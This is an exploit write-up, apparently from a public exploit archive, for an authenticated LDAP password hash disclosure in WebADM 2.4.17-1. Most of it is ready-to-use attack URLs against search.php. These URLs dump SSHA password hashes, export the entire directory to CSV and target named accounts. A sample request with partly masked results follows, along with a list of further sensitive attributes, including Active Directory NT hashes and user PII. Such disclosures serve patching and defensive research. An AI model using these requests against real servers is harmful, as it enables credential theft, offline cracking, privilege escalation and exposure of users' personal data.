📄 WebADM 2.4.17-1 Password Hash Disclosure

# Exploit Title: WebADM v2.4.17-1 - Authenticated LDAP Password Hash
    Disclosure
    # Date: 2026-04-27
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.rcdevs.com/
    # Software Link: https://www.rcdevs.com/downloads/
    # Version: 2.4.17-1 (Freeware Edition)
    # Tested on: Linux, WebADM Freeware Edition
    
    
    # Description:
    # WebADM v2.4.17-1 contains an authenticated information disclosure
    vulnerability
    # in the LDAP search functionality. The `display` parameter in search.php
    accepts
    # any LDAP attribute without server-side validation. A low-privileged admin
    can
    # retrieve SSHA password hashes for ALL LDAP users including super admins
    via a
    # crafted URL, enabling privilege escalation through offline hash cracking.
    
    
    # Proof of Concept:
    #
    # 1. Login to WebADM at:
    #    https://TARGET_IP:10000/admin/
    #
    # 2. After login, note the session ID in URL:
    #    https://TARGET_IP:10000/admin/SESSION_ID/index.php
    #
    # 3. Dump password hashes via direct URL:
    #
    https://TARGET_IP:10000/admin/SESSION_ID/search.php?search=true&mode=advanced&scope=sub&display=cn,userpassword&container=dc=nodomain&filter=(objectClass=*)
    #
    # 4. Full LDAP dump (all attributes):
    #
    https://TARGET_IP:10000/admin/SESSION_ID/search.php?search=true&mode=advanced&scope=sub&display=*&container=dc=nodomain&filter=(objectClass=*)
    #
    # 5. Export all data as CSV:
    #
    https://TARGET_IP:10000/admin/SESSION_ID/search.php?search=true&mode=advanced&scope=sub&export=true&display=*&container=dc=nodomain&filter=(objectClass=*)
    #
    # 6. Target specific user:
    #
    https://TARGET_IP:10000/admin/SESSION_ID/search.php?search=true&mode=advanced&scope=sub&display=*&container=dc=nodomain&filter=(cn=admin)
    #
    # Example vulnerable URL (tested on Debian):
    #
    https://192.168.1.104:10000/admin/4FWF711NQTL029JW/search.php?search=true&mode=advanced&scope=sub&display=cn,userpassword&container=dc=nodomain&filter=(objectClass=*)
    #
    # Result:
    # cn=admin,dc=nodomain
    # Password: {SSHA}2wjGZ6opxxxxxxxx
    # cn=svc_webadm,dc=nodomain
    # Password: {SSHA}3qpxxxxxx
    
    # Vulnerable Parameters in URL:
    # display=cn,userpassword    <- Accepts any LDAP attribute (no server-side
    filtering)
    # container=dc=nodomain      <- LDAP base DN to search
    # scope=sub                  <- Searches entire subtree
    # filter=(objectClass=*)     <- Matches all LDAP objects
    # export=true                <- Export all data to CSV file
    
    # Other sensitive attributes accessible via display parameter:
    # display=userpassword       <- SSHA password hashes
    # display=unicodepwd          <- Active Directory NT hashes
    # display=webadmData          <- Encrypted WebADM application data
    # display=webadmSettings      <- WebADM configuration settings
    # display=webadmType          <- Object type definitions
    # display=userCertificate     <- X.509 certificates
    # display=mail,mobile         <- User PII (email, phone numbers)
    # display=member,memberof     <- Group membership/privilege mapping
    # display=*                   <- ALL attributes including OpenLDAP internals
    # display=*+showall=on         <- Return all attributes including internal
    ones